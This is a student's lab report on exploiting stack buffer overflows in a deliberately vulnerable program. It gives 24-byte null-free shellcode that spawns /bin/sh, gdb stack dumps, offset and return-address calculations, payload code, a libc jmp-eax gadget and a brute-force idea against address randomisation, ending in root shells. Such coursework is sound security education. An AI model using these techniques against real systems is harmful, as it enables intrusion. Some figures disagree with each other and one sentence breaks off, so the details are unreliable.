Task 1: Optimizing the Shellcode [20%]

Questions

(a) Inspect the provided vuln_1.c program, why cannot the bytecode of labsh.asm be used to exploit the BOF vulnerability in vuln_1.c?

Because the bytecode of labsh.asm contains NULL bytes.

If an attacker's payload contains a null byte, the function will stop reading the payload before it reaches the return address. This would prevent the attacker from successfully overwriting the return address and redirecting the program's execution flow.

(b) Explain every optimization technique you performed in labsh_opt.asm.

Use **xor eax, eax** (2 bytes) to replace **mov eax, 0** (5 bytes).
Use **cdq** (1 byte) to replace **mov edx, 0** (5 bytes).
Delete **mov eax, 0** (5 bytes) because eax is already 0 now.

(c) What is the size of your bytecode (in bytes)?

24 bytes.

```
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       50                      push   eax
 8048063:       68 2f 2f 73 68          push   0x68732f2f
 8048068:       68 2f 62 69 6e          push   0x6e69622f
 804806d:       89 e3                   mov    ebx,esp
 804806f:       50                      push   eax
 8048070:       53                      push   ebx
 8048071:       89 e1                   mov    ecx,esp
 8048073:       99                      cdq
 8048074:       b0 0b                   mov    al,0xb
 8048076:       cd 80                   int    0x80
```

Task 2: Exploiting a BOF vulnerability -- Jump to Shellcode [40%]

Questions

(a) What is the effect of BUF_SIZE on your solution?

The BUF_SIZE variable is used to determine the size of the buffer. If we try to write more data to the buffer than it can hold, a buffer overflow will occur.

In this task, the value of BUF_SIZE is 91, which means the buffer is assigned 91 bytes space in the memory to store data. But we try to write 517 bytes to the buffer using the strcpy() function, which does not perform bounds checking. So, a buffer overflow occurred.

(b) Explain (with screenshots) the steps you made to calculate the offset value offset and the return address.

(1) First, I create a fake shellcode_1 file, whose content is "AAAAAAAA", and its byte form is 41 41 41 41 41 41 41 41.

```
root@kaiyu:/home/kaiyu/Lab03# echo -n "AAAAAAAA" > shellcode_1
root@kaiyu:/home/kaiyu/Lab03# cat shellcode_1
AAAAAAAAroot@kaiyu:/home/kaiyu/Lab03# xxd shellcode_1
00000000: 4141 4141 4141 4141                      AAAAAAAA
```

We can see the size of this file (8 bytes) is less than BUF_SIZE, which won't cause buffer overflow. So, the bof function will return correctly. We do this step to prepare to find both the start location of the buffer and the return address location of the bof function in the memory.

(2) Then we used the command: "gcc -o vuln_1 -z execstack -fno-stack-protector vuln_1.c -g" to compile the c program.

By using "disassemble main" in gdb, we can see the next instruction after call bof functin is "add esp, 0x10", and its address is 0x08048574, which is the return address of the bof function. We know that when executing the call insrution, the address of the instruction following it (0x08048574) will be pushed onto the stack. So, later we can examine the stack to find where the return address 0x08048574 is saved in the memory.

```
   0x0804855d <+83>:    call   0x8048380 <fread@plt>
   0x08048562 <+88>:    add    esp,0x10
   0x08048565 <+91>:    sub    esp,0xc
   0x08048568 <+94>:    lea    eax,[ebp-0x211]
   0x0804856e <+100>:   push   eax
   0x0804856f <+101>:   call   0x80484eb <bof>
   0x08048574 <+106>:   add    esp,0x10
   0x08048577 <+109>:   sub    esp,0xc
   0x0804857a <+112>:   push   0x804862e
   0x0804857f <+117>:   call   0x80483a0 <puts@plt>
   0x08048584 <+122>:   add    esp,0x10
   0x08048587 <+125>:   mov    eax,0x1
```

By using "disassemble bof" in gdb, we can see all insructions of the bof function and their addresses in memory.

```
gef➤  disassemble bof
Dump of assembler code for function bof:
   0x080484eb <+0>:     push   ebp
   0x080484ec <+1>:     mov    ebp,esp
   0x080484ee <+3>:     sub    esp,0x68
   0x080484f1 <+6>:     sub    esp,0x8
   0x080484f4 <+9>:     push   DWORD PTR [ebp+0x8]
   0x080484f7 <+12>:    lea    eax,[ebp-0x62]
   0x080484fa <+15>:    push   eax
   0x080484fb <+16>:    call   0x8048390 <strcpy@plt>
   0x08048500 <+21>:    add    esp,0x10
   0x08048503 <+24>:    mov    eax,0x1
   0x08048508 <+29>:    leave
   0x08048509 <+30>:    ret
End of assembler dump.
```

We can see the instruction at *bof+16 is "call strcpy", so we set a breakpoint at *bof+21, to check the stack after executing the strcpy function (finish copying shellcode_1 "AAAAAAAA" into buffer array).

Use x/100x $esp in gdb:

```
gef➤  x/100x $esp
0xbfffecf0:     0xbfffed05      0xbfffede7      0xb7e71219      0xb7fbb000
0xbfffed00:     0x0804b008      0x41414105      0x41414141      0x0070b741
0xbfffed10:     0x0804b008      0xbfffede7      0x00000205      0xb7e663d1
0xbfffed20:     0xb7fff000      0x0804825c      0x08048620      0xb7e66907
0xbfffed30:     0x0804b008      0xbfffede7      0x00000205      0x00000000
0xbfffed40:     0xb7fe97eb      0x00000000      0xb7fbb000      0xb7e07700
0xbfffed50:     0xbfffeff8      0xb7ff0010      0xb7e6689b      0x00000000
0xbfffed60:     0xb7fbb000      0xb7fbb000      0xbfffeff8      0x08048574
0xbfffed70:     0xbfffede7      0x00000001      0x00000205      0x0804b008
0xbfffed80:     0xb7fff53c      0x00000000      0xb7fea2ea      0x00000000
0xbfffed90:     0x00000000      0x00000000      0x00000000      0x00000000
```

We can find that the start location of the buffer is 0xbfffed05 in memory.

```
gef➤  x/100x $esp
0xbfffecf0:     0xbfffed05      0xbfffede7      0xb7e71219      0xb7fbb000
0xbfffed00:     0x0804b008      0x41414105      0x41414141      0x0070b741
0xbfffed10:     0x0804b008      0xbfffede7      0x00000205      0xb7e663d1
0xbfffed20:     0xb7fff000      0x0804825c      0x08048620      0xb7e66907
0xbfffed30:     0x0804b008      0xbfffede7      0x00000205      0x00000000
0xbfffed40:     0xb7fe97eb      0x00000000      0xb7fbb000      0xb7e07700
0xbfffed50:     0xbfffeff8      0xb7ff0010      0xb7e6689b      0x00000000
0xbfffed60:     0xb7fbb000      0xb7fbb000      0xbfffeff8      0x08048574
0xbfffed70:     0xbfffede7      0x00000001      0x00000205      0x0804b008
0xbfffed80:     0xb7fff53c      0x00000000      0xb7fea2ea      0x00000000
0xbfffed90:     0x00000000      0x00000000      0x00000000      0x00000000
```

And also we can find that the return address (0x08048574) of the bof function is saved at 0xbfffed6c in the memory.

(3) offset = 0xbfffed6c - 0xbfffed05 = 103

(4) Now we get the offset. We also know the size of real shellcode_1 file is 517 bytes, and the shellcode is put at the end, whose size is 24 bytes. So the start address of the shellcode in memory should be 0xbfffed05 + 517 - 24 = 0xbfffeef2.

```
root@kaiyu:/home/kaiyu/Lab03# python
Python 3.5.2 (default, Jan 26 2021, 13:30:48)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xbffff386 + 517 - 24)
'0xbffff573'
>>>
```

So we should override the return address of bof function with any value between 0xbfffed70 (after the memory where 0x08048574 is stored) and 0xbfffeef2 (before the memory where shellcode is stored). Besides, the address **should not contain any zero bytes**. For example, 0xbffff500 won't work. I selected 0xbfffed90.

```
##########################################################################
# Replace 0 with the correct offset value
offset = 103

# Fill the return address field with the address of the shellcode
# Replace 0xFF with the correct value
content[offset+0] = 0x90   # fill in the 1st byte (least significant byte)
content[offset+1] = 0xed   # fill in the 2nd byte
content[offset+2] = 0xff   # fill in the 3rd byte
content[offset+3] = 0xbf   # fill in the 4th byte (most significant byte)
##########################################################################
```

(5) Now we can run the generate_payload_1.py to generate a real shellcode file.

(6) Then run the vuln_1.c again:

```
gef➤ r
Starting program: /home/kaiyu/Lab03/vuln_1
process 13472 is executing new program: /bin/dash
# whoami
root
#
```

(c) If the address space randomization is enabled, suggest a strategy to exploit the buffer overflow vulnerability for this program.

If address space randomization is enabled, the location of the buffer stored in memory will be randomized. A strategy to exploit it is using brute force.

We still set BUF_SIZE to 91, offset to 102, and put shellcode at the end of the bad file. Althouth the address space randomization is enabled, we can run the vul_1 many times until the return address happens to be within the NOP range, then the shellcode will be exectued.

To improve the efficiency of the brute force cracking, we can put more NOP sled bytes before our shellcode in the bad file. Also, the maximum size of the badfile in the program (now is 517) should be changed accordingly.

Task 3: Exploiting a BOF vulnerability -- Jump to Register [40%]

Subtask 1. Inspect the `vuln_2.c` program, and answer the following questions.

(a) Explain whether you can perform the jump-to-register technique for the vuln_2.c program. Support your answer with proper screenshots from gdb.

By using "disassemble bof", we can see that before calling strcpy function, eax register is point to the buffer.

```
gef➤ disassemble bof
Dump of assembler code for function bof:
   0x080484eb <+0>:     push   ebp
   0x080484ec <+1>:     mov    ebp,esp
   0x080484ee <+3>:     sub    esp,0x68
   0x080484f1 <+6>:     sub    esp,0x8
   0x080484f4 <+9>:     push   DWORD PTR [ebp+0x8]
   0x080484f7 <+12>:    lea    eax,[ebp-0x63]
   0x080484fa <+15>:    push   eax
   0x080484fb <+16>:    call   0x8048390 <strcpy@plt>
   0x08048500 <+21>:    add    esp,0x10
   0x08048503 <+24>:    mov    eax,0x1
   0x08048508 <+29>:    leave
   0x08048509 <+30>:    ret
End of assembler dump.
```

It looks like that we can use the jump-to-register technique to jump to eax.

But actually, we cannot do this in this program now, because before executing the return instruction, there is an instruction "mov eax, 0x1" that set eax to 1.

So, if we use the jump-to-register technique to jump to eax now, it will jump to 0x00000001 instead of the address of the buffer.

```
Reading symbols from vuln_2...done.
gef➤  disassemble bof
Dump of assembler code for function bof:
   0x080484eb <+0>:     push   ebp
   0x080484ec <+1>:     mov    ebp,esp
   0x080484ee <+3>:     sub    esp,0x68
   0x080484f1 <+6>:     sub    esp,0x8
   0x080484f4 <+9>:     push   DWORD PTR [ebp+0x8]
   0x080484f7 <+12>:    lea    eax,[ebp-0x63]
   0x080484fa <+15>:    push   eax
   0x080484fb <+16>:    call   0x8048390 <strcpy@plt>
   0x08048500 <+21>:    add    esp,0x10
   0x08048503 <+24>:    mov    eax,0x1
   0x08048508 <+29>:    leave
   0x08048509 <+30>:    ret
End of assembler dump.
```

(b) If you cannot, modify the bof function only in vuln_2.c. to enable exploiting BOF using jump-to-register. In vuln_2.c, the BUF_SIZE should be identical to the one in Task 2.

To perform the jump-to-register technique for the `vuln_2.c` program, we should modify the return value of the bof function:

before modifying:

```
int bof(char *str)
{
    char buffer[BUF_SIZE];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}
```

after modifying:

```
int bof(char *str)
{
    char buffer[BUF_SIZE];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return;
}
```

recompile the vul_2.c program and run it with gdb:

```
root@kaiyu:/home/kaiyu/Lab03# gcc -o vuln_2 -z execstack -fno-stack-protector vuln_2.c
vuln_2.c: In function ‘bof’:
vuln_2.c:16:5: warning: ‘return’ with no value, in function returning non-void
     return;
     ^
```

```
gef➤ disassemble bof
Dump of assembler code for function bof:
   0x080484eb <+0>:     push   ebp
   0x080484ec <+1>:     mov    ebp,esp
   0x080484ee <+3>:     sub    esp,0x68
   0x080484f1 <+6>:     sub    esp,0x8
   0x080484f4 <+9>:     push   DWORD PTR [ebp+0x8]
   0x080484f7 <+12>:    lea    eax,[ebp-0x63]
   0x080484fa <+15>:    push   eax
   0x080484fb <+16>:    call   0x8048390 <strcpy@plt>
   0x08048500 <+21>:    add    esp,0x10
   0x08048503 <+24>:    nop
   0x08048504 <+25>:    nop
   0x08048505 <+26>:    leave
   0x08048506 <+27>:    ret
End of assembler dump.
```

We can see that before executing the ret instruction eax won't be modified to 1 now.

(c) What register can be used to perform jump-to-register? Why? Support your answer with proper screenshots from gdb.

We can use eax register to perform jump-to-register. Because before executing the instruction call strcpy, the eax is pointed to the buffer.

```
$eax   : 0xbfffed05  →  0x68000002
$ebx   : 0x0
$ecx   : 0x0804b0a0  →  0x00000000
```

```
gef➤ x/10x buffer
0xbfffed05:     0x68000002      0x4ebfffed      0x08b7e733      0xe70804b0
0xbfffed15:     0x05bfffed      0xd1000002      0x00b7e663      0x5cb7fff0
0xbfffed25:     0x20080482      0x07080486
gef➤
```

So, we can override the return address of the bof function in stack with the address of the instruction "jmp eax" to perform jump-to-register.

Subtask 2. **Questions**

(a) Explain (with screenshots) the steps you made to calculate the offset value offset in generate_payload_2.py and the return address.

Same like task2, we find the start address of the buffer, and the location of return address of bof function in memory. The difference between two addresses is offset value, which is the same as the value in task2.

start address of the buffer: 0xbfffed05.

```
gef➤ x/10x buffer
0xbfffed05:     0x68000002      0x4ebfffed      0x08b7e733      0xe70804b0
0xbfffed15:     0x05bfffed      0xd1000002      0x00b7e663      0x5cb7fff0
0xbfffed25:     0x20080482      0x07080486
gef➤
```

The return address of bof function is: 0x08048571.

```
0x08048565 <+94>:    lea    eax,[ebp-0x211]
0x0804856b <+100>:   push   eax
0x0804856c <+101>:   call   0x80484eb <bof>
0x08048571 <+106>:   add    esp,0x10
0x08048574 <+109>:   sub    esp,0xc
0x08048577 <+112>:   push   0x804862e
```

The location of the return address of bof in memory is 0xbfffed6c.

```
gef➤  x/100x $esp
0xbfffecf0:     0xbfffed05      0xbfffede7      0xb7e71219      0xb7fbb000
0xbfffed00:     0x0804b008      0x41414105      0x41414141      0x00700a41
0xbfffed10:     0x0804b008      0xbfffede7      0x00000205      0xb7e663d1
0xbfffed20:     0xb7fff000      0x0804825c      0x08048620      0xb7e66907
0xbfffed30:     0x0804b008      0xbfffede7      0x00000205      0x00000000
0xbfffed40:     0xb7fe97eb      0x00000000      0xb7fbb000      0xb7e07700
0xbfffed50:     0xbfffeff8      0xb7ff0010      0xb7e6689b      0x00000000
0xbfffed60:     0xb7fbb000      0xb7fbb000      0xbfffeff8      0x08048571
0xbfffed70:     0xbfffede7      0x00000001      0x00000205      0x0804b008
```

offset = 0xbfffed6c - 0xbfffed05 = 103

Then we need to calculate the return address:

First, find the base address of a loaded library using vmmap in gdb:

```
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/kaiyu/Lab03/vuln_2
0x08049000 0x0804a000 0x00000000 r-x /home/kaiyu/Lab03/vuln_2
0x0804a000 0x0804b000 0x00001000 rwx /home/kaiyu/Lab03/vuln_2
0x0804b000 0x0806c000 0x00000000 rwx [heap]
0xb7e07000 0xb7e08000 0x00000000 rwx
0xb7e08000 0xb7fb8000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xb7fb8000 0xb7fb9000 0x001b0000 --- /lib/i386-linux-gnu/libc-2.23.so
0xb7fb9000 0xb7fbb000 0x001b0000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xb7fbb000 0xb7fbc000 0x001b2000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xb7fbc000 0xb7fbf000 0x00000000 rwx
0xb7fd5000 0xb7fd6000 0x00000000 rwx
0xb7fd6000 0xb7fd9000 0x00000000 r-- [vvar]
0xb7fd9000 0xb7fdb000 0x00000000 r-x [vdso]
0xb7fdb000 0xb7ffe000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xb7ffe000 0xb7fff000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xb7fff000 0xb8000000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xbffdf000 0xc0000000 0x00000000 rwx [stack]
gef➤
```

I chose this library: /lib/i386-linux-gnu/libc-2.23.so, and the base address is 0xb7e08000.

Then use ropper to find the gadget offset inside this library:

```
kaiyu@kaiyu:~$ ropper
(ropper)> file  /lib/i386-linux-gnu/libc-2.23.so
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(libc-2.23.so/ELF/x86)> search jmp eax
[INFO] Searching for gadgets: jmp eax

[INFO] File: /lib/i386-linux-gnu/libc-2.23.so
0x00029d02: jmp eax;
```
i

The gadget offset inside this library is 0x00029d02.
So, the real return address is 0xb7e08000 + 0x00029d02 = 0xb7e31d02.
Now we have the offset and the return address:

```
##########################################################################
# Replace 0 with the correct offset value
offset = 103

# Fill the return address field with the address of the shellcode
# Replace 0xFF with the correct value
content[offset+0] = 0x02   # fill in the 1st byte (least significant byte)
content[offset+1] = 0x1d   # fill in the 2nd byte
content[offset+2] = 0xe3   # fill in the 3rd byte
content[offset+3] = 0xb7   # fill in the 4th byte (most significant byte)
##########################################################################

# Put the shellcode at the beginning
content[0:len(shellcode)] = shellcode
```

Run the vuln_2 program:

```
root@kaiyu:/home/kaiyu/Lab03# ./vuln_2
# whoami
root
#
```

(b) Does the exploit work if you copy the shellcode to the end of the payload? Explain.

It may not work. If we put the shellcode to the end of the payload, after executing the jmp eax instruction, the return address of the bof will be considered as instruction, and it may crash the program:

```
                                                        code:x86:32
   0xbfffed69                  nop
   0xbfffed6a                  nop
   0xbfffed6b                  nop
 → 0xbfffed6c                  add    bl, BYTE PTR ds:0x9090b7e3
   0xbfffed72                  nop
   0xbfffed73                  nop
   0xbfffed74                  nop
   0xbfffed75                  nop
   0xbfffed76                  nop
                                                            threads
[#0] Id 1, Name: "vuln_2", stopped 0xbfffed6c in ?? (), reason: SIGSEGV
                                                              trace
[#0] 0xbfffed6c → add bl, BYTE PTR ds:0x9090b7e3
```

We can see that two NOP bytes and first two bytes of the return address of bof con

So, we'd better put the shellcode at the beginning of the buffer in this task.